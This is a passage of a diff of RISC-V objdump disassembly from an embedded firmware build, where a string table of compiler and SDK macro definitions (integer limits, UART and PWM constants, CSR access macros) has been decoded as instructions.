+    6744:	6122                	flw	ft2,8(sp)
+    6746:	2231                	jal	6852 <__stack_size+0x6052>
+    6748:	3b29                	jal	6462 <__stack_size+0x5c62>
+    674a:	6120                	flw	fs0,64(a0)
+    674c:	76206d73          	csrrsi	s10,0x762,0
+    6750:	74616c6f          	jal	s8,1ce96 <__stack_size+0x1c696>
+    6754:	6c69                	lui	s8,0x1a
+    6756:	2065                	jal	67fe <__stack_size+0x5ffe>
+    6758:	2228                	fld	fa0,64(a2)
+    675a:	696c                	flw	fa1,84(a0)
+    675c:	6120                	flw	fs0,64(a0)
+    675e:	2c30                	fld	fa2,88(s0)
+    6760:	3420                	fld	fs0,104(s0)
+    6762:	6d20223b          	0x6d20223b
+    6766:	6f7a                	flw	ft10,156(sp)
+    6768:	656e                	flw	fa0,216(sp)
+    676a:	3a20                	fld	fs0,112(a2)
+    676c:	2220                	fld	fs0,64(a2)
+    676e:	723d                	lui	tp,0xfffef
+    6770:	2822                	fld	fa6,8(sp)
+    6772:	3061                	jal	5ffa <__stack_size+0x57fa>
+    6774:	2c29                	jal	698e <__stack_size+0x618e>
+    6776:	2220                	fld	fs0,64(a2)
+    6778:	723d                	lui	tp,0xfffef
+    677a:	2822                	fld	fa6,8(sp)
+    677c:	3161                	jal	6404 <__stack_size+0x5c04>
+    677e:	2929                	jal	6b98 <__stack_size+0x6398>
+    6780:	7528203b          	0x7528203b
+    6784:	6e69                	lui	t3,0x1a
+    6786:	3674                	fld	fa3,232(a2)
+    6788:	5f34                	lw	a3,120(a4)
+    678a:	2974                	fld	fa3,208(a0)
+    678c:	3161                	jal	6414 <__stack_size+0x5c14>
+    678e:	3c3c                	fld	fa5,120(s0)
+    6790:	7c203233          	0x7c203233
+    6794:	6120                	flw	fs0,64(a0)
+    6796:	3b30                	fld	fa2,112(a4)
+    6798:	7d20                	flw	fs0,120(a0)
+    679a:	0029                	c.nop	10
+    679c:	4955                	li	s2,21
+    679e:	544e                	lw	s0,240(sp)
+    67a0:	4c5f 4145 5453      	0x545341454c5f
+    67a6:	3436                	fld	fs0,360(sp)
+    67a8:	4d5f 5841 5f20      	0x5f2058414d5f
+    67ae:	555f 4e49 5f54      	0x5f544e49555f
+    67b4:	454c                	lw	a1,12(a0)
+    67b6:	5341                	li	t1,-16
+    67b8:	3654                	fld	fa3,168(a2)
+    67ba:	5f34                	lw	a3,120(a4)
+    67bc:	414d                	li	sp,19
+    67be:	5f58                	lw	a4,60(a4)
+    67c0:	005f 4d5f 444f      	0x444f4d5f005f
+    67c6:	5f45                	li	t5,-15
+    67c8:	5f54                	lw	a3,60(a4)
+    67ca:	4544                	lw	s1,12(a0)
+    67cc:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    67d0:	4445                	li	s0,17
+    67d2:	0020                	addi	s0,sp,8
+    67d4:	545f 535f 5a49      	0x5a49535f545f
+    67da:	2045                	jal	687a <__stack_size+0x607a>
+    67dc:	4600                	lw	s0,8(a2)
+    67de:	424e                	lw	tp,208(sp)
+    67e0:	4f49                	li	t5,18
+    67e2:	5f20                	lw	s0,120(a4)
+    67e4:	4e46                	lw	t3,80(sp)
+    67e6:	4942                	lw	s2,16(sp)
+    67e8:	7a74004f          	fnmadd.d	ft0,fs0,ft7,fa5,rne
+    67ec:	616e                	flw	ft2,216(sp)
+    67ee:	656d                	lui	a0,0x1b
+    67f0:	5f20                	lw	s0,120(a4)
+    67f2:	7a74                	flw	fa3,116(a2)
+    67f4:	616e                	flw	ft2,216(sp)
+    67f6:	656d                	lui	a0,0x1b
+    67f8:	5f00                	lw	s0,56(a4)
+    67fa:	495f 544e 5450      	0x5450544e495f
+    6800:	5f52                	lw	t5,52(sp)
+    6802:	54444957          	0x54444957
+    6806:	5f48                	lw	a0,60(a4)
+    6808:	205f 3233 5f00      	0x5f003233205f
+    680e:	535f4353          	0x535f4353
+    6812:	4d45                	li	s10,17
+    6814:	5041                	c.li	zero,-16
+    6816:	4f48                	lw	a0,28(a4)
+    6818:	4552                	lw	a0,20(sp)
+    681a:	30332053          	0x30332053
+    681e:	5f00                	lw	s0,56(a4)
+    6820:	585f4353          	0x585f4353
+    6824:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+    6828:	535f 5254 4145      	0x41455254535f
+    682e:	534d                	li	t1,-13
+    6830:	3120                	fld	fs0,96(a0)
+    6832:	3430                	fld	fa2,104(s0)
+    6834:	5f00                	lw	s0,56(a4)
+    6836:	745f 7972 6f6c      	0x6f6c7972745f
+    683c:	5f736b63          	bltu	t1,s7,6e32 <__stack_size+0x6632>
+    6840:	72616873          	csrrsi	a6,0x726,2
+    6844:	6465                	lui	s0,0x19
+    6846:	2e28                	fld	fa0,88(a2)
+    6848:	2e2e                	fld	ft8,200(sp)
+    684a:	2029                	jal	6854 <__stack_size+0x6054>
+    684c:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    6852:	615f 6e6e 746f      	0x746f6e6e615f
+    6858:	7461                	lui	s0,0xffff8
+    685a:	2865                	jal	6912 <__stack_size+0x6112>
+    685c:	72616873          	csrrsi	a6,0x726,2
+    6860:	6465                	lui	s0,0x19
+    6862:	745f 7972 6f6c      	0x6f6c7972745f
+    6868:	665f6b63          	bltu	t5,t0,6ede <__stack_size+0x66de>
+    686c:	6e75                	lui	t3,0x1d
+    686e:	6f697463          	bgeu	s2,s6,6f56 <__stack_size+0x6756>
+    6872:	286e                	fld	fa6,216(sp)
+    6874:	5f5f 4156 415f      	0x415f41565f5f
+    687a:	4752                	lw	a4,20(sp)
+    687c:	295f5f53          	0x295f5f53
+    6880:	0029                	c.nop	10
+    6882:	525f 4545 544e      	0x544e4545525f
+    6888:	535f 5254 4f54      	0x4f545254535f
+    688e:	414c5f4b          	fnmsub.s	ft10,fs8,fs4,fs0,unknown
+    6892:	70285453          	0x70285453
+    6896:	7274                	flw	fa3,100(a2)
+    6898:	2029                	jal	68a2 <__stack_size+0x60a2>
+    689a:	2828                	fld	fa0,80(s0)
+    689c:	7470                	flw	fa2,108(s0)
+    689e:	2972                	fld	fs2,280(sp)
+    68a0:	3e2d                	jal	63da <__stack_size+0x5bda>
+    68a2:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    68a8:	6572                	flw	fa0,28(sp)
+    68aa:	6e65                	lui	t3,0x19
+    68ac:	2e74                	fld	fa3,216(a2)
+    68ae:	735f 7274 6f74      	0x6f747274735f
+    68b4:	616c5f6b          	0x616c5f6b
+    68b8:	00297473          	csrrci	s0,frm,18
+    68bc:	5f5f 695f 746e      	0x746e695f5f5f
+    68c2:	6c5f 6165 7473      	0x747361656c5f
+    68c8:	5f38                	lw	a4,120(a4)
+    68ca:	5f74                	lw	a3,124(a4)
+    68cc:	6564                	flw	fs1,76(a0)
+    68ce:	6966                	flw	fs2,88(sp)
+    68d0:	656e                	flw	fa0,216(sp)
+    68d2:	2064                	fld	fs1,192(s0)
+    68d4:	0031                	c.nop	12
+    68d6:	4e49                	li	t3,18
+    68d8:	5054                	lw	a3,36(s0)
+    68da:	5254                	lw	a3,36(a2)
+    68dc:	4d5f 4e49 5f00      	0x5f004e494d5f
+    68e2:	635f 6f6c 6b63      	0x6b636f6c635f
+    68e8:	745f 645f 6665      	0x6665645f745f
+    68ee:	6e69                	lui	t3,0x1a
+    68f0:	6465                	lui	s0,0x19
+    68f2:	0020                	addi	s0,sp,8
+    68f4:	5f5f 4c46 3654      	0x36544c465f5f
+    68fa:	5f34                	lw	a3,120(a4)
+    68fc:	414d                	li	sp,19
+    68fe:	544e                	lw	s0,240(sp)
+    6900:	445f 4749 5f5f      	0x5f5f4749445f
+    6906:	3520                	fld	fs0,104(a0)
+    6908:	5f5f0033          	0x5f5f0033
+    690c:	6572                	flw	fa0,28(sp)
+    690e:	746c7573          	csrrci	a0,0x746,24
+    6912:	755f 6573 635f      	0x635f6573755f
+    6918:	6568                	flw	fa0,76(a0)
+    691a:	5f206b63          	bltu	zero,s2,6f10 <__stack_size+0x6710>
+    691e:	615f 7474 6972      	0x69727474615f
+    6924:	7562                	flw	fa0,56(sp)
+    6926:	6574                	flw	fa3,76(a0)
+    6928:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    692e:	6e726177          	0x6e726177
+    6932:	755f 756e 6573      	0x6573756e755f
+    6938:	5f64                	lw	s1,124(a4)
+    693a:	6572                	flw	fa0,28(sp)
+    693c:	746c7573          	csrrci	a0,0x746,24
+    6940:	5f5f 2929 5f00      	0x5f0029295f5f
+    6946:	575f 4843 5241      	0x52414843575f
+    694c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    6952:	3020                	fld	fs0,96(s0)
+    6954:	3778                	fld	fa4,232(a4)
+    6956:	6666                	flw	fa2,88(sp)
+    6958:	6666                	flw	fa2,88(sp)
+    695a:	6666                	flw	fa2,88(sp)
+    695c:	0066                	c.slli	zero,0x19
+    695e:	5f5f 4e47 4355      	0x43554e475f5f
+    6964:	505f 4552 4552      	0x45524552505f
+    696a:	2851                	jal	69fe <__stack_size+0x61fe>
+    696c:	616d                	addi	sp,sp,240
+    696e:	2c6a                	fld	fs8,152(sp)
+    6970:	696d                	lui	s2,0x1b
+    6972:	296e                	fld	fs2,216(sp)
+    6974:	2820                	fld	fs0,80(s0)
+    6976:	5f28                	lw	a0,120(a4)
+    6978:	475f 554e 5f43      	0x5f43554e475f
+    697e:	205f 3c3c 3120      	0x31203c3c205f
+    6984:	2936                	fld	fs2,328(sp)
+    6986:	2b20                	fld	fs0,80(a4)
+    6988:	5f20                	lw	s0,120(a4)
+    698a:	475f 554e 5f43      	0x5f43554e475f
+    6990:	494d                	li	s2,19
+    6992:	4f4e                	lw	t5,208(sp)
+    6994:	5f52                	lw	t5,52(sp)
+    6996:	205f 3d3e 2820      	0x28203d3e205f
+    699c:	6d28                	flw	fa0,88(a0)
+    699e:	6a61                	lui	s4,0x18
+    69a0:	2029                	jal	69aa <__stack_size+0x61aa>
+    69a2:	3c3c                	fld	fa5,120(s0)
+    69a4:	3120                	fld	fs0,96(a0)
+    69a6:	2936                	fld	fs2,328(sp)
+    69a8:	2b20                	fld	fs0,80(a4)
+    69aa:	2820                	fld	fs0,80(s0)
+    69ac:	696d                	lui	s2,0x1b
+    69ae:	296e                	fld	fs2,216(sp)
+    69b0:	0029                	c.nop	10
+    69b2:	57495f53          	0x57495f53
+    69b6:	5355                	li	t1,-11
+    69b8:	2052                	fld	ft0,272(sp)
+    69ba:	3030                	fld	fa2,96(s0)
+    69bc:	3030                	fld	fa2,96(s0)
+    69be:	3032                	fld	ft0,296(sp)
+    69c0:	0030                	addi	a2,sp,8
+    69c2:	5f5f 4c46 3654      	0x36544c465f5f
+    69c8:	5f34                	lw	a3,120(a4)
+    69ca:	4148                	lw	a0,4(a0)
+    69cc:	4e495f53          	0x4e495f53
+    69d0:	4946                	lw	s2,80(sp)
+    69d2:	494e                	lw	s2,208(sp)
+    69d4:	5954                	lw	a3,52(a0)
+    69d6:	5f5f 3120 5f00      	0x5f0031205f5f
+    69dc:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    69e2:	4f4c                	lw	a1,28(a4)
+    69e4:	474e                	lw	a4,208(sp)
+    69e6:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    69ec:	3020                	fld	fs0,96(s0)
+    69ee:	3778                	fld	fa4,232(a4)
+    69f0:	6666                	flw	fa2,88(sp)
+    69f2:	6666                	flw	fa2,88(sp)
+    69f4:	6666                	flw	fa2,88(sp)
+    69f6:	6666                	flw	fa2,88(sp)
+    69f8:	6666                	flw	fa2,88(sp)
+    69fa:	6666                	flw	fa2,88(sp)
+    69fc:	6666                	flw	fa2,88(sp)
+    69fe:	4c66                	lw	s8,88(sp)
+    6a00:	004c                	addi	a1,sp,4
+    6a02:	5f5f 4c46 3654      	0x36544c465f5f
+    6a08:	5834                	lw	a3,112(s0)
+    6a0a:	4d5f 5841 455f      	0x455f58414d5f
+    6a10:	5058                	lw	a4,36(s0)
+    6a12:	5f5f 3120 3336      	0x333631205f5f
+    6a18:	3438                	fld	fa4,104(s0)
+    6a1a:	5f00                	lw	s0,56(a4)
+    6a1c:	5f54                	lw	a3,60(a4)
+    6a1e:	41484357          	0x41484357
+    6a22:	5f52                	lw	t5,52(sp)
+    6a24:	0020                	addi	s0,sp,8
+    6a26:	485f 5641 5f45      	0x5f455641485f
+    6a2c:	495f4343          	fmadd.s	ft6,ft10,fs5,fs1,rmm
+    6a30:	484e                	lw	a6,208(sp)
+    6a32:	4249                	li	tp,18
+    6a34:	5449                	li	s0,-14
+    6a36:	4c5f 4f4f 5f50      	0x5f504f4f4c5f
+    6a3c:	4f54                	lw	a3,28(a4)
+    6a3e:	4c5f 4249 4143      	0x414342494c5f
+    6a44:	4c4c                	lw	a1,28(s0)
+    6a46:	3120                	fld	fs0,96(a0)
+    6a48:	5f00                	lw	s0,56(a4)
+    6a4a:	435f 4e4f 4143      	0x41434e4f435f
+    6a50:	3154                	fld	fa3,160(a0)
+    6a52:	7828                	flw	fa0,112(s0)
+    6a54:	792c                	flw	fa1,112(a0)
+    6a56:	2029                	jal	6a60 <__stack_size+0x6260>
+    6a58:	2078                	fld	fa4,192(s0)
+    6a5a:	79202323          	sw	s2,1926(zero) # 786 <__stack_size-0x7a>
+    6a5e:	5500                	lw	s0,40(a0)
+    6a60:	4f4c                	lw	a1,28(a4)
+    6a62:	474e                	lw	a4,208(sp)
+    6a64:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    6a6a:	414d                	li	sp,19
+    6a6c:	2058                	fld	fa4,128(s0)
+    6a6e:	4c28                	lw	a0,88(s0)
+    6a70:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    6a74:	4f4c                	lw	a1,28(a4)
+    6a76:	474e                	lw	a4,208(sp)
+    6a78:	4d5f 5841 2a20      	0x2a2058414d5f
+    6a7e:	3220                	fld	fs0,96(a2)
+    6a80:	4c55                	li	s8,21
+    6a82:	204c                	fld	fa1,128(s0)
+    6a84:	5531202b          	0x5531202b
+    6a88:	4c4c                	lw	a1,28(s0)
+    6a8a:	0029                	c.nop	10
+    6a8c:	5f5f 4352 4953      	0x495343525f5f
+    6a92:	5f44                	lw	s1,60(a4)
+    6a94:	52554f53          	0x52554f53
+    6a98:	73284543          	fmadd.d	fa0,fa6,fs2,fa4,rmm
+    6a9c:	2029                	jal	6aa6 <__stack_size+0x62a6>
+    6a9e:	75727473          	csrrci	s0,0x757,4
+    6aa2:	5f207463          	bgeu	zero,s2,708a <__stack_size+0x688a>
+    6aa6:	685f 6361 006b      	0x6b6361685f
+    6aac:	656d                	lui	a0,0x1b
+    6aae:	6370                	flw	fa2,68(a4)
+    6ab0:	4600                	lw	s0,8(a2)
+    6ab2:	555f 4c4e 4b43      	0x4b434c4e555f
+    6ab8:	3320                	fld	fs0,96(a4)
+    6aba:	4900                	lw	s0,16(a0)
+    6abc:	544e                	lw	s0,240(sp)
+    6abe:	3436                	fld	fs0,360(sp)
+    6ac0:	435f 6328 2029      	0x20296328435f
+    6ac6:	5f5f 4e49 3654      	0x36544e495f5f
+    6acc:	5f34                	lw	a3,120(a4)
+    6ace:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    6ad2:	5f00                	lw	s0,56(a4)
+    6ad4:	475f 4343 415f      	0x415f4343475f
+    6ada:	4f54                	lw	a3,28(a4)
+    6adc:	494d                	li	s2,19
+    6ade:	4c4c5f43          	0x4c4c5f43
+    6ae2:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    6ae6:	4f4c                	lw	a1,28(a4)
+    6ae8:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    6aec:	4552                	lw	a0,20(sp)
+    6aee:	2045                	jal	6b8e <__stack_size+0x638e>
+    6af0:	0031                	c.nop	12
+    6af2:	535f 5359 435f      	0x435f5359535f
+    6af8:	4544                	lw	s1,12(a0)
+    6afa:	5346                	lw	t1,112(sp)
+    6afc:	485f 205f 4d00      	0x4d00205f485f
+    6b02:	4f5a                	lw	t5,148(sp)
+    6b04:	454e                	lw	a0,208(sp)
+    6b06:	435f 5253 2852      	0x28525253435f
+    6b0c:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    6b10:	5858                	lw	a4,52(s0)
+    6b12:	2958                	fld	fa4,144(a0)
+    6b14:	2820                	fld	fs0,80(s0)
+    6b16:	6572207b          	0x6572207b
+    6b1a:	74736967          	0x74736967
+    6b1e:	7265                	lui	tp,0xffff9
+    6b20:	7520                	flw	fs0,104(a0)
+    6b22:	736e                	flw	ft6,248(sp)
+    6b24:	6769                	lui	a4,0x1a
+    6b26:	656e                	flw	fa0,216(sp)
+    6b28:	2064                	fld	fs1,192(s0)
+    6b2a:	6f6c                	flw	fa1,92(a4)
+    6b2c:	676e                	flw	fa4,216(sp)
+    6b2e:	6120                	flw	fs0,64(a0)
+    6b30:	2030                	fld	fa2,64(s0)
+    6b32:	7361                	lui	t1,0xffff8
+    6b34:	206d                	jal	6bde <__stack_size+0x63de>
+    6b36:	2228                	fld	fa0,64(a2)
+    6b38:	3061                	jal	63c0 <__stack_size+0x5bc0>
+    6b3a:	2922                	fld	fs2,8(sp)
+    6b3c:	7361203b          	0x7361203b
+    6b40:	206d                	jal	6bea <__stack_size+0x63ea>
+    6b42:	6f76                	flw	ft10,92(sp)
+    6b44:	616c                	flw	fa1,68(a0)
+    6b46:	6974                	flw	fa3,84(a0)
+    6b48:	656c                	flw	fa1,76(a0)
+    6b4a:	2820                	fld	fs0,80(s0)
+    6b4c:	2220                	fld	fs0,64(a2)
+    6b4e:	766d                	lui	a2,0xffffb
+    6b50:	6120                	flw	fs0,64(a0)
+    6b52:	2c31                	jal	6d6e <__stack_size+0x656e>
+    6b54:	2520                	fld	fs0,72(a0)
+    6b56:	3b31                	jal	6872 <__stack_size+0x6072>
+    6b58:	2022                	fld	ft0,8(sp)
+    6b5a:	6c22                	flw	fs8,8(sp)
+    6b5c:	2069                	jal	6be6 <__stack_size+0x63e6>
+    6b5e:	3061                	jal	63e6 <__stack_size+0x5be6>
+    6b60:	202c                	fld	fa1,64(s0)
+    6b62:	3b38                	fld	fa4,112(a4)
+    6b64:	2022                	fld	ft0,8(sp)
+    6b66:	7a6d                	lui	s4,0xffffb
+    6b68:	20656e6f          	jal	t3,5cd6e <__stack_size+0x5c56e>
+    6b6c:	203a                	fld	ft0,392(sp)
+    6b6e:	3d22                	fld	fs10,40(sp)
+    6b70:	2272                	fld	ft4,280(sp)
+    6b72:	6128                	flw	fa0,64(a0)
+    6b74:	2930                	fld	fa2,80(a0)
+    6b76:	3a20                	fld	fs0,112(a2)
+    6b78:	2220                	fld	fs0,64(a2)
+    6b7a:	2272                	fld	ft4,280(sp)
+    6b7c:	2828                	fld	fa0,80(s0)
+    6b7e:	6e75                	lui	t3,0x1d
+    6b80:	6e676973          	csrrsi	s2,0x6e6,14
+    6b84:	6465                	lui	s0,0x19
+    6b86:	6c20                	flw	fs0,88(s0)
+    6b88:	29676e6f          	jal	t3,7ce1e <__stack_size+0x7c61e>
+    6b8c:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    6b90:	5858                	lw	a4,52(s0)
+    6b92:	2958                	fld	fa4,144(a0)
+    6b94:	3a20                	fld	fs0,112(a2)
+    6b96:	2220                	fld	fs0,64(a2)
+    6b98:	3161                	jal	6820 <__stack_size+0x6020>
+    6b9a:	2922                	fld	fs2,8(sp)
+    6b9c:	3061203b          	0x3061203b
+    6ba0:	297d203b          	0x297d203b
+    6ba4:	5f00                	lw	s0,56(a4)
+    6ba6:	465f 544c 4d5f      	0x4d5f544c465f
+    6bac:	5841                	li	a6,-16
+    6bae:	5f5f 3320 342e      	0x342e33205f5f
+    6bb4:	3230                	fld	fa2,96(a2)
+    6bb6:	3238                	fld	fa4,96(a2)
+    6bb8:	36363433          	0x36363433
+    6bbc:	32353833          	0x32353833
+    6bc0:	3838                	fld	fa4,112(s0)
+    6bc2:	3935                	jal	67fe <__stack_size+0x5ffe>
+    6bc4:	3138                	fld	fa4,96(a0)
+    6bc6:	3731                	jal	6ad2 <__stack_size+0x62d2>
+    6bc8:	3430                	fld	fa2,104(s0)
+    6bca:	3831                	jal	63e6 <__stack_size+0x5be6>
+    6bcc:	34383433          	0x34383433
+    6bd0:	3135                	jal	67fc <__stack_size+0x5ffc>
+    6bd2:	3936                	fld	fs2,360(sp)
+    6bd4:	3532                	fld	fa0,296(sp)
+    6bd6:	2b65                	jal	718e <__stack_size+0x698e>
+    6bd8:	00463833          	sltu	a6,a2,tp
+    6bdc:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    6be2:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    6be8:	54444957          	0x54444957
+    6bec:	5f48                	lw	a0,60(a4)
+    6bee:	205f 3436 4900      	0x49003436205f
+    6bf4:	544e                	lw	s0,240(sp)
+    6bf6:	4c5f 4145 5453      	0x545341454c5f
+    6bfc:	3436                	fld	fs0,360(sp)
+    6bfe:	4d5f 4e49 5f00      	0x5f004e494d5f
+    6c04:	4d5f 4341 4948      	0x494843414d5f
+    6c0a:	454e                	lw	a0,208(sp)
+    6c0c:	455f 444e 4149      	0x4149444e455f
+    6c12:	5f4e                	lw	t5,240(sp)
+    6c14:	5f48                	lw	a0,60(a4)
+    6c16:	205f 5f00 6c5f      	0x6c5f5f00205f
+    6c1c:	5f6b636f          	jal	t1,bd212 <__stack_size+0xbca12>
+    6c20:	6e69                	lui	t3,0x1a
+    6c22:	7469                	lui	s0,0xffffa
+    6c24:	6c28                	flw	fa0,88(s0)
+    6c26:	296b636f          	jal	t1,bcebc <__stack_size+0xbc6bc>
+    6c2a:	2820                	fld	fs0,80(s0)
+    6c2c:	7628                	flw	fa0,104(a2)
+    6c2e:	2964696f          	jal	s2,4cec4 <__stack_size+0x4c6c4>
+    6c32:	3020                	fld	fs0,96(s0)
+    6c34:	0029                	c.nop	10
+    6c36:	535f 5f43 3656      	0x36565f43535f
+    6c3c:	4c5f 3650 5f34      	0x5f3436504c5f
+    6c42:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    6c46:	2034                	fld	fa3,64(s0)
+    6c48:	535f 5f43 3756      	0x37565f43535f
+    6c4e:	4c5f 3650 5f34      	0x5f3436504c5f
+    6c54:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    6c58:	0034                	addi	a3,sp,8
+    6c5a:	4e49                	li	t3,18
+    6c5c:	3654                	fld	fa3,168(a2)
+    6c5e:	5f34                	lw	a3,120(a4)
+    6c60:	494d                	li	s2,19
+    6c62:	004e                	c.slli	zero,0x13
+    6c64:	5f5f 454e 4c57      	0x4c57454e5f5f
+    6c6a:	4249                	li	tp,18
+    6c6c:	485f 5f5f 3120      	0x31205f5f485f
+    6c72:	5500                	lw	s0,40(a0)
+    6c74:	5241                	li	tp,-16
+    6c76:	5f54                	lw	a3,60(a4)
+    6c78:	4549                	li	a0,18
+    6c7a:	3020                	fld	fs0,96(s0)
+    6c7c:	3178                	fld	fa4,224(a0)
+    6c7e:	0030                	addi	a2,sp,8
+    6c80:	505f 5f43 5341      	0x53415f43505f
+    6c86:	4e59                	li	t3,22
+    6c88:	4f495f43          	fmadd.q	ft10,fs2,fs4,fs1,unknown
+    6c8c:	3920                	fld	fs0,112(a0)
+    6c8e:	5f00                	lw	s0,56(a4)
+    6c90:	545f4353          	0x545f4353
+    6c94:	5248                	lw	a0,36(a2)
+    6c96:	4145                	li	sp,17
+    6c98:	5f44                	lw	s1,60(a4)
+    6c9a:	5250                	lw	a2,36(a2)
+    6c9c:	4f49                	li	t5,18
+    6c9e:	495f 484e 5245      	0x5245484e495f
+    6ca4:	5449                	li	s0,-14
+    6ca6:	3420                	fld	fs0,104(s0)
+    6ca8:	0036                	c.slli	zero,0xd
+    6caa:	4152                	lw	sp,20(sp)
+    6cac:	444e                	lw	s0,208(sp)
+    6cae:	4d5f 5841 5f20      	0x5f2058414d5f
+    6cb4:	525f 4e41 5f44      	0x5f444e41525f
+    6cba:	414d                	li	sp,19
+    6cbc:	0058                	addi	a4,sp,4
+    6cbe:	545f 4d49 5f45      	0x5f454d49545f
+    6cc4:	5f48                	lw	a0,60(a4)
+    6cc6:	0020                	addi	s0,sp,8
+    6cc8:	5750                	lw	a2,44(a4)
+    6cca:	5f4d                	li	t5,-13
+    6ccc:	4142                	lw	sp,16(sp)
+    6cce:	30204553          	0x30204553
+    6cd2:	3178                	fld	fa4,224(a0)
+    6cd4:	3030                	fld	fa2,96(s0)
+    6cd6:	3532                	fld	fa0,296(sp)
+    6cd8:	3030                	fld	fa2,96(s0)
+    6cda:	0030                	addi	a2,sp,8
+    6cdc:	5f5f 4f53 5450      	0x54504f535f5f
+    6ce2:	3020                	fld	fs0,96(s0)
+    6ce4:	3078                	fld	fa4,224(s0)
+    6ce6:	3034                	fld	fa3,96(s0)
+    6ce8:	0030                	addi	a2,sp,8
+    6cea:	525f 4545 544e      	0x544e4545525f
+    6cf0:	535f 4749 414e      	0x414e4749535f
+    6cf6:	5f4c                	lw	a1,60(a4)
+    6cf8:	5542                	lw	a0,48(sp)
+    6cfa:	2846                	fld	fa6,80(sp)
+    6cfc:	7470                	flw	fa2,108(s0)
+    6cfe:	2972                	fld	fs2,280(sp)
+    6d00:	2820                	fld	fs0,80(s0)
+    6d02:	7028                	flw	fa0,96(s0)
+    6d04:	7274                	flw	fa3,100(a2)
+    6d06:	2d29                	jal	7320 <__stack_size+0x6b20>
+    6d08:	5f3e                	lw	t5,236(sp)
+    6d0a:	656e                	flw	fa0,216(sp)
+    6d0c:	725f2e77          	0x725f2e77
+    6d10:	6565                	lui	a0,0x19
+    6d12:	746e                	flw	fs0,248(sp)
+    6d14:	5f2e                	lw	t5,232(sp)
+    6d16:	6e676973          	csrrsi	s2,0x6e6,14
+    6d1a:	6c61                	lui	s8,0x18
+    6d1c:	625f 6675 0029      	0x296675625f
+    6d22:	5f5f 444c 4c42      	0x4c42444c5f5f
+    6d28:	485f 5341 515f      	0x515f5341485f
+    6d2e:	4955                	li	s2,21
+    6d30:	5445                	li	s0,-15
+    6d32:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
+    6d38:	3120                	fld	fs0,96(a0)
+    6d3a:	4300                	lw	s0,0(a4)
+    6d3c:	4d5f5253          	0x4d5f5253
+    6d40:	4c435943          	0x4c435943
+    6d44:	2045                	jal	6de4 <__stack_size+0x65e4>
+    6d46:	3331                	jal	6a52 <__stack_size+0x6252>
+    6d48:	5f00                	lw	s0,56(a4)
+    6d4a:	414d                	li	sp,19
+    6d4c:	49544843          	fmadd.s	fa6,fs0,fs5,fs1,rmm
+    6d50:	454d                	li	a0,19
+    6d52:	485f 205f 5f00      	0x5f00205f485f
+    6d58:	465f 544c 3436      	0x3436544c465f
+    6d5e:	445f 4e45 524f      	0x524f4e45445f
+    6d64:	5f4d                	li	t5,-13
+    6d66:	494d                	li	s2,19
+    6d68:	5f4e                	lw	t5,240(sp)
+    6d6a:	205f 2e34 3439      	0x34392e34205f
+    6d70:	3630                	fld	fa2,104(a2)
+    6d72:	3635                	jal	689e <__stack_size+0x609e>
+    6d74:	3534                	fld	fa3,104(a0)
+    6d76:	3438                	fld	fa4,104(s0)
+    6d78:	3231                	jal	6684 <__stack_size+0x5e84>
+    6d7a:	3634                	fld	fa3,104(a2)
+    6d7c:	3435                	jal	67a8 <__stack_size+0x5fa8>
+    6d7e:	3134                	fld	fa3,96(a0)
+    6d80:	36353637          	lui	a2,0x36353
+    6d84:	3738                	fld	fa4,104(a4)
+    6d86:	3239                	jal	6694 <__stack_size+0x5e94>
+    6d88:	3638                	fld	fa4,104(a2)
+    6d8a:	3238                	fld	fa4,96(a2)
+    6d8c:	3132                	fld	ft2,296(sp)
+    6d8e:	65323733          	0x65323733
+    6d92:	332d                	jal	6abc <__stack_size+0x62bc>
+    6d94:	3432                	fld	fs0,296(sp)
+    6d96:	3646                	fld	fa2,112(sp)
+    6d98:	0034                	addi	a3,sp,8
+    6d9a:	5f5f 4c46 3354      	0x33544c465f5f
+    6da0:	5f32                	lw	t5,44(sp)
+    6da2:	4148                	lw	a0,4(a0)
+    6da4:	45445f53          	0x45445f53
+    6da8:	4f4e                	lw	t5,208(sp)
+    6daa:	4d52                	lw	s10,20(sp)
+    6dac:	5f5f 3120 5f00      	0x5f0031205f5f
+    6db2:	4f50                	lw	a2,28(a4)
+    6db4:	5f584953          	0x5f584953
+    6db8:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
+    6dbc:	5255                	li	tp,-11
+    6dbe:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
+    6dc2:	3030                	fld	fa2,96(s0)
+    6dc4:	3038                	fld	fa4,96(s0)
+    6dc6:	4c39                	li	s8,14
+    6dc8:	5f00                	lw	s0,56(a4)
+    6dca:	4544                	lw	s1,12(a0)
+    6dcc:	4146                	lw	sp,80(sp)
+    6dce:	4c55                	li	s8,21
+    6dd0:	5f54                	lw	a3,60(a4)
+    6dd2:	52554f53          	0x52554f53
+    6dd6:	31204543          	fmadd.s	fa0,ft0,fs2,ft6,rmm
+    6dda:	5f00                	lw	s0,56(a4)
+    6ddc:	494c                	lw	a1,20(a0)
+    6dde:	5454                	lw	a3,44(s0)
     6de0:	454c                	lw	a1,12(a0)
-    6de2:	2044                	fld	fs1,128(s0)
-    6de4:	0030                	addi	a2,sp,8
-    6de6:	5f5f 4556 5352      	0x535245565f5f
-    6dec:	4f49                	li	t5,18
-    6dee:	5f4e                	lw	t5,240(sp)
-    6df0:	205f 3122 2e30      	0x2e303122205f
-    6df6:	2e31                	jal	7112 <__stack_size+0x6912>
